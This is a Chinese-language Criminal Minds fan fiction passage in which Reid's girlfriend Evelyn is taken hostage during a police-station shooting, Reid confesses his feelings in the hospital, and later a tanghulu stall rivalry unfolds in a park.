再次回到客厅,妻子似乎已经醒了,她穿着那身永远的红色睡袍叼着烟坐在那,看见邋遢的死胖子,她翻了个白眼嫌弃道,“离婚协议你赶紧给老娘签了,我可不要那个痴傻的死丫头,早知道她是个痴呆儿我老早就扔了……”
男人就像没听见,他擦着女人的半个身子挪到了厨房,水池里都是黏糊糊油腻的食物和没有洗干净的碗。
他目光无神的盯着窗外……
———————
瑞德被人泼了一杯咖啡。
咖啡只有一小纸杯的量,但泼过来时,除了脸上,灰色的毛衣和蓝色的衬衫领口不能避免的低落了不少黑褐色的液体。
咖啡纸杯被扔到了地上,已经被人拧成了一团。
原因就在于,瑞德在面对记者采取的是不闻不问,对方急眼了他也只是一句不能说很抱歉。也不知道哪里惹到了对方,直接将凉透了的咖啡泼到了瑞德的脸上。
猝不及防,眼里进了咖啡,瑞德有些难受的眨了眨眼。
那个记者还在骂,事情发生的有些突然,一旁的几人连忙将肇事者拖了出去。
摩根皱眉看着那个抱着相机的家伙,他看了眼瑞德,“你还好吗?”
“很好。”瑞德闭着眼接过摩根递过来的纸巾,他率先擦掉脸上的咖啡,“我得去一趟洗手间,等会回来。”
摩根看着瑞德一脸不在乎的向工作人员询问洗手间在哪的背影,轻叹口气,这人怎么一个不注意就会被人欺负。
要知道那个记者本身问的就不是他们现阶段能够透露的。更何况这人也不知道是怎么闯进了的。
摩根感觉有人偷偷看过来的视线,面无表情地哼了一声。
就在摩根想要找警长说一下他们这里的安保状况非常令人担忧顺道委婉的讽刺几句。在厕所的公共洗手台前整理自己身上的咖啡渍时,瑞德看到了匆忙跑进来的警长。
他连忙叫住了对方,也不知是有意无意的,他和警长聊了八分钟的警局的安保状况,并表示这次只是记者下一次如果是杀人犯持枪进来,现在已经死伤一片了。
期间,瑞德是想要长篇大论,但案件还未破,他也不想浪费太多时间。
可今天一天都要顶着这一身脏兮兮的咖啡印工作,实在是对有些洁癖的瑞德来说有些难以忍受。
于是他占用了警长八分钟的时间。
警长本就是憋的不行才来上厕所的,膀胱都要裂开了,他一手撑着墙,双腿尽可能用一个正常的姿势夹紧,面对这位还算熟悉的男孩、尤其是联邦总局的人。
他尽可能的保持自己的体面,哪怕他脸憋越来越红。
到最后,他甚至都有些恍惚,自己是不是已经尿了,但他从恍惚中清醒片刻吓得立刻夹紧。
他大概也能猜出来面前的天才博士先生非常的气愤,虽然从对方无辜的白净的脸上看不出一丝一毫的痕迹。
但……警长打了两次激灵后,瑞德才闭上嘴,扔掉一刻不停擦拭身上的纸巾,和警长说了最后一句的总结才快步离开。
警长僵硬的挪到了厕所里。
过了好久,他还觉得隐隐作痛。
西雅图记者很多很多,但如此张狂的没有几个,看一眼监控警长就能知道是谁,等他抓到了,一定要告他寻衅
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滋事。还对联邦调查局的人动手?
罪加一等!
顺道让这家伙尝试一下憋到膀胱要炸还要憋八分钟的痛苦。
翠丝趁着中午休息时间,拉着伊芙琳来到了一所幼儿园门口。
这姑娘打听到了那个小女孩白天会被家里人送到幼儿园。家里的老人照顾孩子有些力不从心,只能白天将孩子送到托儿中心,晚上才接回家。
两个女生站在幼儿园门口往里张望,窗口正好有老师抱着不吃饭还在哭的两岁女宝宝哄着瞧见了。
浅蓝色浅绿色,各种浅色系明亮的色彩搭配的一座一层独立的建筑。
这时候有一个胖嘟嘟的小宝宝,穿着圆滚滚的厚实的衣服,一路火花带闪电的跑了过来,抓着铁栏杆仰头哭嚎,“妈妈,妈妈……”
一个年纪三十左右的老师穿着自己的衣服外面罩着一件围裙,慢悠悠的走了过来。
孩子哭的满脸鼻涕泪水,如同一个被关了终身监禁的人,小手顺着栏杆使劲够着伊芙琳的裤子,因为她离的最近。
“呜呜,带我去找我妈妈……”
伊芙琳哭笑不得,一旁的老师也没管拼死挣扎的逃犯,好奇的询问道“你们有什么事吗?”
“……”伊芙琳看了眼翠丝。这姑娘不知从哪里摸出来一大罐牌子奶粉,好说歹说要将这奶粉送给小海莉。
小海莉就是那天被两人送到警局的小家伙。
但幼儿园的老师可不敢接受陌生人送给孩子的东西。
翠丝叹口气,她自从差一点做妈妈后,面对可怜的小家伙都有一种无处安放的怜惜。
伊芙琳倒是提议送去警局,让警察给小海莉家里人,至于对方要不要的,反正翠丝尽力了不是吗?
她突然觉得,自己身边的朋友们怎么都善良的可爱。一时受情绪影响,伊芙琳难得想要温情一把,夸赞一下。
一转头人就没影了,四周寻找定睛一看,这家伙抱着奶粉罐凑到一个不知怎么坐在地上的帅哥。
那小哥有些吃力的想要爬起来,拐杖甩在了三米开外。路过的人都当没看见,只有翠丝冲了过去。从看到到冲过去甚至不到两秒……
伊芙琳准备走人就接到了一通电话,“伊芙。”
一旁的鸣笛声让伊芙琳快速的挪到了通道上。
她听到对面瑞德带着些许的歉意和羞涩“你什么时候有时间?能帮我拿一套衣服过来吗?”
这边瑞德刚挂完电话,就见身后摩根见鬼了的表情。
小博士眨了眨眼,满脸问号。
48.第 48 章
下午三点十分下课后,伊芙琳早早的离开。
至于翠丝,对方敷衍的和伊芙琳挥了挥手就不知道哪去了,看着表情好像很兴奋。
中午她一只手夹着奶罐一只手直接将人家小帅哥搀了起来,看着就要一路给人送回家。也是这种娇羞兴奋的表情。
伊芙琳打车回家后,推开大门将背包放到了沙发上。然后来到了瑞德的卧室,余光瞥见了收拾干净的卫生间。
感叹这人还真是干净,如果合租的话,伊芙琳绝对要选这种不会在打扫卫生上拖后腿的。
要说至今碰到最大一个拖后腿的家伙就是,薯片掉到了地上也不会弯腰捡的翠丝。
瑞德的行李箱打开,露出包装整齐的一个袋子一个袋子。
竟然比伊芙琳的行李箱装的还要规整干净,这姑娘稀奇的看了两眼,暗自感叹一番看到中间还有一本书,心理学书籍。
她没有乱翻,毕竟里面不知道有什么私密的东西,翻乱了也不好…重点是自己又不会整理,于是伊芙琳只拿了最上层的袋子。
一件衬衫和一件灰褐色的外套。
检查完后将衣服装进袋子里。伊芙琳抓紧时间打车过去。
这一路上高速略有些堵。
慢吞吞的往前爬,也不知道前面是否发生了什么。
司机打开窗户,西雅图略微湿润的冷空气瞬间盈满了整个车厢,味道清新极了,冲散了尼古丁的味道。
一旁刚去前面看发生了什么的男人路过,带着红色棒球帽的胖嘟嘟司机大叔粗壮的手臂搭在上面,伸脖子喊了一嗓子,“嘿,前面发生了什么?”
这是堵在高速路上的所有司机心中的第一个问题。
那男人穿着一身肥大的旧运动服,不过洗的很干净,一头深棕色的短卷压在深蓝色棒球帽下,听到有人喊他,他先是低头看了眼,然后司机大叔给了他一支烟。
两人开始边抽边聊。
“一辆白色轿车从上面翻了下来,咱们后面的没看见,前面人说,那辆车是突然变道直接侧翻,砸到了咱们这条高速上的一辆车。”
“哎呀!”司机大叔转了转头上的红色帽子,一只手夹着烟抽了口压压惊,“这要是咱们路过了……”
伊芙琳抱着衣服想着和瑞德发一条短信,告诉他自己不知道什么时候能过去,高速因事故暂时堵住了。
听到蓝帽子大叔的话,她惊得一身冷汗,窗外就是高架上已经堵住不动的车辆,那一辆辆车要是从上面翻砸下来。下面的人……
“下面的人听说是一对高中小情侣逃课出来玩,”蓝帽子大叔不忍的猛吸一口烟,轻叹着的时候烟雾从他鼻子里冒出来,他一时间没说话,但表情已经透露几分。
司机连忙询问那俩孩子怎么样了。
蓝帽子大叔沉重道“直接压成了一滩泥,还能怎么样?小孩子开的车特别破旧,根本阻挡不了那么大的冲击,从上面掉下来的那个被救出来的时候还活着呢,到了医院不知道能不能抢救过来。”
高速公路也不会长时间堵在这,前面疏通后没过多久司机前面的车开始动了。
穿着工作服的男人将手枪放到靴子里,戴着帽子脚步笨重的跟着清洗玻璃的工人们结伴来到了警局一侧的吊绳拉着的攀爬架。
男人将工具箱放在地上,来到了洗手间,掏出一把枪慢吞吞的塞进兜里,他出门看了眼行政大厅的办事的人,看了眼楼上。
这时候一个小姑娘一不小心撞到了他身上,男人重量在那也没什么事,只那姑娘被撞倒在地,手里的磨砂口袋落到了男人的脚边。
他看了眼里面的东西,又看了眼女孩,弯下腰慢吞吞的捡起来。
伊芙琳的屁股摔在坚实的地砖上,尾椎骨都镇的又痛又涨。她爬起来看了眼推她的一个十六七的女孩,那姑娘穿着打扮很非主流,鼻子嘴巴都是环。
看对方小小年纪的不懂事,自认大几岁的大姐姐憋着气自认倒霉。结果有意思的是,那小姑娘回头冲伊芙琳比了个下流的手势。
姑娘气笑了,她身后突然冷不丁一句。
“很讨厌吧,这些不懂人事的孩子们似乎必须要教训一下才能彻底长记性。
伊芙琳回身,见刚才被她牵连的大叔面无表情的似乎也很气愤的样子。伊芙琳接过对方手里的袋子抱在怀里,“是挺讨厌的,这孩子也是没救了。那个先生真是不好意思刚才撞到你了……”
男人没吭声,依旧眼睛直勾勾的擦过伊芙琳的肩膀落到她身后的位置。
那是大厅办理业务的柜台。
不知道过了多久,那小姑娘似乎是交保释金,没一会就带出来一个同样黄毛小子出来,两人嘻嘻哈哈的完全不顾周围人的眼光,声音大到楼上都能听到他们每句话里都带着三四个脏字。
那小姑娘见伊芙琳看着她,她以为这女的想要跟她干架,她甚至已经想好了等会怎么将这个老女人骂到哭,谁让她慢吞吞的挡着自己的路,还敢站在原地是要找她打架吗?
女孩脑回路比较清奇,她就是这么个姑娘。无论别人内心什么想法,只要被她感觉感觉哪里不对劲,她就能借着这个不对劲疯狂的在脑海里转化成这人是不是瞧不起我,如此消极且令人愤怒的假想。
小姑娘觉得伊芙琳就是要挑衅她的权威。对此她决定擦肩而过时狠狠的将自己的肩膀撞上去。
周围的人声在空旷的大厅里似乎还有回音,嘈杂的人声从楼上到楼下,机器的敲打的声音,电话座机的铃音……以及细微的咔嚓声和面前姑娘那副嚣张的稚嫩的脸。
砰!
刚从人体喷出来的血,很烫。
面对着伊芙琳叫嚣的稚嫩的脸上画着成熟的大浓妆,伊芙琳在此之前已经在对方肩膀微动以及那不怀好意的眼神下做好了准备,她也暗自咬牙缩紧自己的肱二头肌准备大战三百回合。
但绝不是现在这样。
女孩双眼还带着没有消散的快意,额头一缕血缓缓滑了下来。
还没等伊芙琳缓过神来,连续的又一声枪声,巨大的轰鸣声贴着她的耳朵,火辣辣的疼。
是耳鸣吗?
伊芙琳捂着被子弹擦过的耳朵,血顺着指尖缝隙穿过,她似乎听到了若有若无的尖叫和哭声,一切声音突然被什么挡住了。
瘫软在地的她感觉地面都在震动,像是无数的人走在奔跑。
瑞德和摩根听到枪声和警察冲了出去,他正准备送受害者家属出门,本就比任何人还要快速的冲了出来,他甚至手已经搭在胯上别着的枪拿了出来,可在看到现场时,他下楼的速度本来很快,却突然凝滞了脚步。
摩根到抽口气,他赶忙看向瑞德。
对方脸色惨白。
摩根在叫他。
瑞德知道,他抿着有些发抖的嘴唇,紧紧的盯着持枪的男人。他盯着那只手枪……角度…
只要开枪……就能打到伊芙琳的肩膀……如果对方手抖一下……
瑞德脑子里飞速的计算男人如果打
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偏了,会出现什么样的偏差,胸口?脑袋?
由于过度紧张,瑞德瞳孔剧烈收缩,呼吸不可避免的急促。
JJ和霍奇在办公室最里面,冲出来的时候就已经看到将嫌犯半包围的警察。
那人的手枪紧紧的抵着人质的太阳穴上。
“哦上帝!”艾米丽捂着嘴。
是伊芙琳!
霍奇率先找到了最靠前并没有穿防弹衣的瑞德。
伊芙琳单手捂着耳朵被人扯了起来,冰凉的金属贴在太阳穴上。她急促的喘息声仿佛都停止了,她生怕喘气的声音都能刺激到男人。
她被他当作防弹背心一样置于身前,慢慢的和他一起退到了墙角。
因为耳朵太疼了,再加上刚才刺耳的声音仿佛凿进了脑子,头也疼的厉害。
她手里还无意识的紧紧的抓着什么,看到了一侧的楼梯上缓缓下来的霍奇,担忧的JJ和艾米丽。
瑞德在哪里?
伊芙琳突然有些害怕的紧紧的抓着什么转移自己的情绪,但那个冰凉的东西总是不时的怼在她的太阳穴上。
刚才女孩死的瞬间,顺道换成了她的脸。
子弹穿过皮肤炸开脑浆和头骨……会很疼……
伊芙琳眨了眨有些微红的眼睛,她在这一刻她希望她的爸爸妈妈能过来见她最后一面……
但显然不太可能,
伊芙琳哆嗦着嘴,那只手还贴着耳朵,她目光不由的看向四周,但眼前不知为什么就像是有什么东西挡住了,一阵清晰一阵模糊。
爸妈的最后一面看不到,好歹能见到这辈子有望结婚的瑞德也是一个不错的选择哈。
如此安慰自己的伊芙琳觉得自己就是个大傻子,都这时候了内心戏这么多!
呜呜呜,她不想死!她怎么这么倒霉!
还有就是……如果非死不可!
别让他看到……
也不知道伊芙琳缓过来了还是怎么样,她看向四周的视线突然清晰了不少,摩根身后那个脸色难看的青年。
他目光紧紧的盯着她,两人四目相对。
伊芙琳没忍住,哽咽一声委屈的掉眼泪,那句我不想死又不能说出来。
“瑞德,坚强一点,不会再发生!伊芙琳是个幸运女神眷顾的孩子。”摩根站在瑞德斜前方,他轻声的不动声色的安抚身后至始至终不发一言的人。
小组成员经历过类似的事情,此刻最重要的是,想尽一切办法,哪怕将对方当场枪毙也是可以的。
这是霍奇第一次,作为组长的任性,但他只是想要保护自己的组员……
伊芙琳不知道发生了什么,只是突然听到头顶一声bang,她吓得捂着脸顺着身后的人一起瘫倒在地。
她感觉到人群似乎涌了过来,她被人一把抱进怀里,像是整个人被揽进了一个密闭的安全的空间里。急促的呼吸声,死死的压着她脑袋的手有些抖。
“伊芙……”他声音轻颤带着紧张和焦虑。
一股熟悉的洗衣粉的味道和淡淡的咖啡味。
伊芙琳简直被抱着的都要垫脚了,她闷闷道“我受伤了好疼……”
她现在需要去医院……
显然对方非常靠谱,二话不说将人打横抱起。
门口的急救车的声音还在响。
伊芙琳看着额角被汗水打湿的瑞德,突然困意袭来,眼前一黑就没有任何的意识了。
糟糕!
忘了趁机提要求!
49.第 49 章
病房里还带着消毒水的味道。
伊芙琳下意识的撩开一侧的头发,手指轻轻的触碰到了包裹耳朵的纱布,包的很严实都鼓起来了。
纱布下的耳朵有些发热辣辣的,但不是很疼。
她的目光落到了自己的手上,那时候还能感觉到血从指尖的缝隙中穿过,黏腻酥麻的触觉。可现在……已经被擦的很干净了。
JJ的声音在耳边轻柔的响起,她说在她昏睡的时候替她清洗了手和脖颈上的血。
伊芙琳还以为是瑞德为她擦掉的,好可惜……哎……
医生说她是惊吓过度晕过去的,浑身上下也只有耳朵被擦了一小片肉,明天就能出院
惊吓过度啊……
两个小孩在眼前被一枪爆头,距离死亡如此之近,过后有可能自己也要步入后尘,伊芙琳觉得当时没有晕过去纯粹是因为吓傻了来不及反应。
也不排除一种心理方面的强迫症,伊芙琳很怕打针,在清醒的时候,看着闪着寒光的针戳到血管里,强迫自己移开视线但最后还是克制不住的往回看。
艾米丽在一旁帮伊芙琳倒了杯温热的水,无声的关切着。
伊芙琳握着水杯,手心里都是温热的,她喝了一口驱散了身体的寒意,她目光再一次落到了门口。
“我们真的很庆幸你能活着,伊芙。”艾米丽目光落到了窗外,此刻已经是晚上九点,窗外黑漆漆的,只有医院大门口的路灯在黑夜中散发着微弱的黄色灯光。
看向靠着床头陷进靠枕里的眼神时不时的徘徊在门口的伊芙琳她笑了笑。
真是太幸运了不是吗。
伊芙琳怔怔的看着艾米丽,还有JJ隐隐落泪的红眼睛,她似乎察觉到了什么,有些不好意思的揉着发尾。
这时候门被轻轻的打开,外出的男人们回来了。
霍奇和罗西作为小组的领导人以及长辈,对我进行了全面的慰问,霍奇如同上级的领导夹杂着老父亲的感觉,严肃不失温和。罗西就像是温柔的邻家帅爷爷,和伊芙琳说话间还带着意大利人独有的幽默。
伊芙琳接过了罗西送的粉色玫瑰,有些惊讶的看了他一眼。她确实还蛮喜欢粉色玫瑰的哦对了还有向日葵。
罗西笑着道“刚才在花店的时候,我们就在想给你送一束什么花比较好。我个人更喜欢白色的玫瑰搭配小雏菊,不过瑞德似乎更偏好这个粉色的玫瑰。”
罗西冲着伊芙琳眨了眨眼睛,然后招呼着各位该离开了。艾米丽和JJ抱了抱伊芙琳,让她好好休息到时候再聚。
几人离开后,露出了被遮挡住还提着一个纸袋的瑞德。
他关上门才上前将袋子放到柜子上,拉着一把椅子坐了下来。
他看了我的耳朵,似乎被头发遮挡住视线,他伸出一只手撩开了伊芙琳耳边的头发,凉意慢吞吞的触碰着耳朵后面的脖颈处。
感觉到那只手将要从耳边落下,伊芙琳抬腕轻握,只是握住了瑞德的指尖,微凉,还带着室外的温度。衬的她的的手更热了。
伊芙琳看着悬在半空的手一大一小,一冷一暖,她在心里想啊,这大概就是传说中的契合互补吗?
只是想寻找一点安慰,却又带着一点羞怯,于是只能蜗牛一样慢吞吞的蹭着对方的手。
瑞德顿了顿,垂眸看着,任由那只暖乎乎的手慢吞吞的一路爬进他的掌心贴了过去然后握紧,他手指蜷缩反握住了这份温暖。
在伊芙琳昏睡的时候,他其实想了很多。
他自己的性子本身就很温吞,对于感情总是不知道如何回应,很笨拙。但她似乎总有很多很多的耐心温柔的对待他,小心翼翼的照顾着他的情绪。
可今天他有些难过也有些害怕。
他紧紧的握着手心里的温暖,而她笑眯眯的似乎开心极了。晃了晃两人搁在被子上手。
瑞德怔了一下,然后轻笑出声,她就在他身边啊。
他笑的腼腆又温柔,眼睛里像是有星星一样亮晶晶的,伊芙琳看的心里都要开花了,也不知道怎么回事就在那光是握着手就握了好久。
“我很喜欢你……”瑞德声音低沉却带着一丝说不出的羞涩。他的大拇指无意识的摩擦着她的虎口,他抬眸似乎下定了什么决心,“伊芙,如果你愿意的话,可以和我交往吗?”
瑞德说完后似乎有些不好意思,但他并没有移开视线,而是非常坚定的等待着面前的姑娘能够给他一个认真的答复。
伊芙琳似乎没有反应过来,她眨了眨眼,盯着眼前的人,缓了好久才明白对方在说什么,她忍不住轻笑,最后克制不住的凑近吻了上去。
这是伊芙琳第一次亲吻一个男孩,她有些不好意思的闭着眼。瑞德愣住,耳尖瞬间染上绯红,他眼底带着羞涩和惊喜。
可那抹红晕还没褪去,他便忍不住回吻了过去,动作笨拙却温柔。
这是很新奇又很美妙的触碰,对于两人来说,似乎都是一样的。
伊芙琳一只手被他紧紧的按在他的腿上,另一只手抓着他的带着咖啡印记的毛衣,葡萄味的香薰在两人的喘息之间愈发浓郁。
慢吞吞的分开,脸人额头相抵鼻尖几乎碰到一起,四目相对皆是笑意。
似乎确定了关系,又似乎是有了亲密的接触。
异地恋好像格外让人难受,见不了面不能被抱抱亲亲……
————————————————
“所以,你最终还是要抛弃我!”
客厅里伊芙琳正搬着室内露台上的花盆挪到一边清理下面的灰尘。吸尘器嗡嗡嗡的卷起杂土灰尘和几根黑卷毛,为什么翠丝的头发总是掉在她家里。
翠丝抱着leshi薯片绕着用吸尘气的好友,一会在对方
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左边晃悠一会在右边晃悠。
伊芙琳被撞了一下又绊了两跤。
乱七八糟的,烦死了!伊芙琳把这吸尘气的把手抬起来,前面的吸力十足,还在嗡嗡嗡的。
她脸色不好看的盯着翠丝,“你要是再妨碍我干活,我就将你的脸蛋子全都吸到里面!做成真空产品!”
翠丝瞪圆眼睛,两朵黑云和嘴边的薯片碎渣都快被面前吸尘器的气流下的无处多藏,薯片渣哗哗吸到了半空最后掉到了地上。
伊芙琳眼睛一眯。
翠丝连忙无辜道“不是我!是你把碎渣弄掉的!跟我没有关系!反正!你不要转移话题你就是要抛弃我和佐伊!”
伊芙琳将吸尘器一关,室内骤然安静,她单手撑着吸尘气的把手,哼笑一声慢吞吞的开始算总账。
“是谁这半个月以来,上课坐在最后面和拐杖小哥黏糊,下课跟着人家后屁股直接跑,一天到晚见不到人,这两个月。”伊芙琳眼睛一眯,她这两个月都没有见到男朋友一面!她手骤然抓紧把手,“你还好意思说我?咱俩还是同一届同一个专业……你这种重色轻友的家伙怎么好意思说我的……还吃着我的薯片、烤地瓜、巧克力面包、还有瑞德送给我的巧克力糖果。”
那一盒巧克力……现在开着盖子摊在料理台上,只剩下了一半!
面对好友的秋后算总账的行为,翠丝采取的是耍赖政策。“那不一样。”
“翠丝,”伊芙琳看着对方又无赖又带着委屈的神色,她叹口气,“每个人都要分开的,我们不能一直在一起。”
伊芙琳也没打算一直在西雅图,妈妈现在定居克利夫兰,爸爸不知道在亚马逊哪个树洞里,她自己本来是想去洛杉矶,因为据说那里有钱的病人不少……
不过说起这个,伊芙琳冷不丁想起一件事,“你之前还说要和我一起去洛杉矶发展,其实你现在跟我一起去匡提科也是一样的。”
黑珍珠想也不想的摇头了,那张嘴快的她自己都没反应过来,“我才不要离开我们家陶德……”
说完后过了十秒,那只黑爪子才慢吞吞的爬上自己的嘴巴,然后心虚的捂上了。
伊芙琳冷笑。
她们果然是一丘之貉,伊芙琳顺道将自己归为一类,重色轻友。
不过眼下都还早着呢,她又不是只念到本科毕业就结束学业,等到去匡提科打底也得四年后。
唔对了寒假她已经打算去匡提科度过,至于圣诞节,她会赶回去和妈妈一起度过,瑞德要去陪他的妈妈。
但这些都不重要,寒假有将近一个月的时间呢……她已经有些期待了。
……
话说,寒假期间,死变态们不准备猫冬吗?
会的吧……
伊芙琳突然担忧起来,自己这一个月在匡提科,瑞德应该有时间吧……不会出差吧……
50.第 50 章
对于一位学生来说,寒假,是可以赖在温暖的被窝里足不出户。
不过刚来匡提科和男友单方面过寒假,伊芙琳终于找到了一点乐子。
她翘着二郎腿裹着一身棉服坐在公园里,单手抱着糖葫芦草垛。
至于为什么不远万里来到陌生城市,不和男友亲热却在一个公园里卖糖葫芦,这也是有原因的。
问题不大,只是那个脑子长包了,还是长了不少包的大和家的留学生在公园里卖和风糖葫芦。
糖葫芦做的确实挺小清新的,引来不少孩子围观,自然也引来了不少大人掏钱购买这种神奇的小吃。
当时伊芙琳捂着挺起的肚子靠着男友慢吞吞的在公园里散步,中午吃了一顿火锅,她吃撑了。
看着糖葫芦的中文下意识的拉着瑞德走了过去,这时候有四五个家长带着七八个孩子。孩子围在最里面,都在挑选自己喜欢的。
伊芙琳松开男友的手,好奇的凑了进去,看着移动的摊位柜子里的糖葫芦,抹茶糖衣包裹的糯米团子,还有一串四个白团子上面点缀着切的薄薄的一片水果,彩色的巧克力外皮包裹着里面不知道是什么水果的。
伊芙琳扫了一圈、从上到下一共两小层,没有看到山楂,这时候那些看不清里面的巧克力外层包裹的糖葫芦就如同盲盒一样,她只能询问对方有没有山楂糖葫芦。
不知道为什么,平常不提也变罢了,看了糖葫芦三个字,突然想念脆脆的糖衣包裹的绵软酸甜的山楂糖葫芦。伊芙琳暗自咽口水,期待的看着面前的姑娘。
那姑娘看了眼她的眼睛头发,又看了眼站在伊芙琳身后的瑞德,她摇了摇头,“我卖的是正宗的大和点心,我们只包裹水果和糯米圆子。”
一旁的路过的一个大学女生,有点像意大利人的长相、黑发黑眼白皙的皮肤,她看了眼飘着糖葫芦三个大字的横幅,而玻璃柜子里的一串一串的团子。
她皱眉道“你明明招牌上写的是华国的糖葫芦,为什么说这是你们大和的食物?”
樱和子也是要赚钱,但她别的不会,就随便找了个简单好弄的食物,这才第一天开业。
结果没成想就遇到狗拿耗子多管闲事的家伙,她强忍着翻白眼的动作,语气细声细气道“这糖葫芦就是我们传承了一千年的正宗的甜品,您可以先尝一尝。”
那意大利姑娘估摸有些较真,也可能是她以前吃过,这次远远的看到糖葫芦三个字还以为能吃到一整串的水果。
结果每一串上面挂着的大半都是白色的圆团子,很少有整颗水果串在上面。
像是没钱买水果,省本金一样……
意大利姑娘就是这么想的,她认为那白色的面食团子根本就是摊主仗着面粉比水果便宜才拿来糊弄外国人。
她本身就是一个比较直的姑娘,刚准备离开去找公园管理人员投诉有人欺骗消费者,就听到身旁响起声音。
那声音带着一丝笑意,像是听到了什么有意思的事情,“姑娘,你但凡卖东西前在维基百科上查一查,或许就该知道,这糖葫芦是十九世纪中后期才从华国传到你们大和的。”
一千年笑死人了,华国南宋时期才出现糖葫芦没多久,到了她嘴里就已经有了一千年的传承。
现在不管是哪个国家的人,谁能具体说清楚自己国家的小吃到底是什么时候开始出现的。就连本国人都不一定清楚,外国人肯定就更迷糊了。
不过说这些也没用,重点是味道,但显然这姑娘出了点差错。
因为午后人比较多,再加上三三两两的都聚集在这一条小吃摊位上,本就是等着墨西哥玉米饼、炸鸡、等食物的人们,看到有人在争论,理所当然的闲的没事就会看两眼。
大和家的这位姑娘两边的摊位,左边是热狗摊,热气顺着风呼啦啦的往樱和子笑的越发生冷的脸上,一股子热辣辣油腻腻的味道,让她想起了自己留学时遭遇的所有让她不快的事。
她深吸口气,内心想要将这两个瞧不起她的美国人宰了,但她依旧做足心理思想,她不能骂人不能动手,这个摊位租了一个月,管理员根本不会给她退钱,到时候动手她绝对会损失一大笔租金。
于是她轻声细语笑眯眯的道,“这位同学,您是美国人可能不太了解,维基百科也有时候说的也不是很全面,我们国家本土也是有糖葫芦的传承,并不需要外来国家引进。”
这姑娘个子不高,穿着棉服,脸蛋上带着两团红晕,眼睛比较小,睁开的时候小,硬生生扯着眼睛弯出弧度笑眯眯的样子就更看不清眼睛在哪里了……
配合着身后高耸如云的深蓝色冷雾的森林做背景。
像是一个鬼片里的鬼娃娃……
伊芙琳不由自主的打了个寒战。
不是她因为某些原因讨厌一个人,当然也确实带着一点点偏见。但这姑娘明明从头发丝到脚底都带着一股怒气,却硬生生的像是用夹子一样将自己的五官扯出一个笑脸。
像是木偶娃娃一样,挂着一张笑面皮。
阴森森的。
瑞德本来站在女友身后,正拉着她的手有一下没一下的拨弄着,感觉到女朋友打了个寒战,他顺着对方的视线看了过去。
他愣了一下,好像啊。
好像他们昨晚看的大和恐怖电影里,那个从和式走廊突然窜出来的穿着和服的鬼娃娃。
瑞德握紧了女友的手,轻声道“伊芙?”
伊芙琳眨了眨眼,缓过来后,她似乎想到了什么,她掏钱买了一串,那姑娘还挺惊讶,没想到这个砸场子的还能买。
咬了一口糯米团子夹着水果片,一旁的人还在观望,小孩子倒没有大人的谨慎,已经纷纷选中了自己喜欢的糖葫芦,眼巴巴的看着爸爸妈妈掏钱然后将糖葫芦递给他们。
孩子们高兴极了。
然后一口下去。
怎么说呢……
糖衣是甜,但很厚不脆,就这一点已经让牙不太结实的孩子们退避三舍了,再就是糯米团子,这就更有意思了。
好歹也是冬天,温度在这,糯米团子本身就很有嚼头再冷藏一会,更是难嚼。对于孩子们来说厚壳糖衣和略硬的糯米团子,让他们咀嚼的非常的困难。
一般这一小串的东西,客人都会在摊位前原地吃完再走。
于是,不需要伊芙琳点评他们家的糖葫芦有多硬有多糟糕。
一个五岁左右的小娃娃突然背对着母亲僵硬的站在那里,孩子妈妈本来在看伊芙琳,她以为对方会再说些什么,但吃了一颗糖葫芦后似乎有些艰难的咀嚼着,这简直让看热闹的人无不怀疑,这姑娘是不是想要继续以味道来砸了这个摊主的摊位。就听见一个小姑娘哇一声哭了出来。
孩子母亲连忙收回视线看向自家小女儿,只见她捂着嘴哭的厉害,她甚至都怀疑是不是被签子戳到了嘴,直到一旁大女儿大呼小叫“妈妈,小米莉的牙在糖葫芦上!”
众人被提醒,定睛一看,仔细在白色的还未咬下来的最上面的圆团子上找到了一颗小白牙,带着微不可察的红色血迹。
樱和子脸都僵了,甚至有些无措,她想着今天有人砸场子但绝对想不到有人吃了她的糖葫芦掉牙了!
其他人再一看伊芙琳和几个半大的孩子费力的咀嚼着腮帮子……这好不好吃的不说,几个正准备排队买新奇的小吃的孩子们被小姑娘镶嵌在糯米团子上的牙齿吓到了,纷纷有种感同身受的疼,捂着嘴跑了。
孩子跑了大人也纷纷散开,留下还在费力咬着糯米团子的伊芙琳和她身后担忧的瑞德,以及已经挪开脚步去找管理员的意大利女孩。
高高瘦瘦的男人带着米色和咖啡色格子围巾,露出半张冷白的脸,一双暖棕色的眼睛里满是纠结,他抬起微凉的手指轻轻点了点女友温热的脸颊,腮帮子鼓鼓的,一颗圆团子嚼了好久,“不好吃就别吃了伊芙。”
什么不好吃!
樱和子被眼前这对白猪气的要发抖了,她还不能大声将这两个驱走。
伊芙琳没注意这个,只是听着那几个大人和孩子说着糖葫芦这种东西以后还是不要买了,心理就有些不是滋味。
糖葫芦明明很好吃……
当天晚上,伊芙琳将一脸羞涩的瑞德强行留在了酒店。
做了三个小时的糖葫芦……
买山楂也废了不少时间呢。
因为伊芙琳怕浪费,将剩下三个团子给了瑞德,乖巧的博士先生当仁不让表示包在他身上,不过对方吃的有些不是滋味的样子,伊芙琳也不忍心了,浪费就浪费吧。
总之,有微波炉这个大功臣熬糖浆,糖葫芦制作的非常顺利。
山楂、草莓、猕猴桃,橘子瓣。
橘子瓣上的脉络被瑞德一条条小心的撕了下来,干干净净的透明的白皮下是橙色的橘子果肉。
所有水果被透明的淡黄色糖衣包裹。
伊芙琳这做的可不糯米团子多了很多,人家四颗团子,伊芙琳每串八颗果子,橘子瓣适量增加。
不说打擂台,但总得让人知道华家的糖葫芦才不是那么难吃的糯米团子做的。
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于是,第二天,伊芙琳扛着一根扎满糖葫芦的草垛子,吭哧吭哧来到了管理处,热情的给了管理员一根他自己挑选的山楂糖葫芦,顺道交了一个月的租金,虎视眈眈的来到了自己的摊位上。
别人或多或少有个柜子,桌子。伊芙琳头顶挂着正宗华国糖葫芦不好吃不要钱的横幅,怀里抱着草垛。
开始了她的传播美食之旅。
那姑娘和伊芙琳只隔了四个摊位,这次看向伊芙琳的小眼睛缝隙里都喷出火了。
开阔的草地像远处铺展,高大茂密的树木为林形成一片原始的自然景观。
公园内也有一两条小径,冷光透着树叶落在了糖葫芦薄薄的一层糖衣上,亮晶晶的。
糖衣下红的绿的黄的色彩鲜艳分明,这是小孩子喜欢的颜色。
就在伊芙琳笑眯眯的看着过往的路人大咧咧的宣传华国糖葫芦不好吃不要钱后,也不知道是这句万能宣传语的作用,还是孩子们对这些亮晶晶的色彩鲜艳的食物没有抵抗力。
呼啦啦五六个大小不一的孩子凑了过来。
昂着脑袋看着上面的东西,每一个都看着好大串。
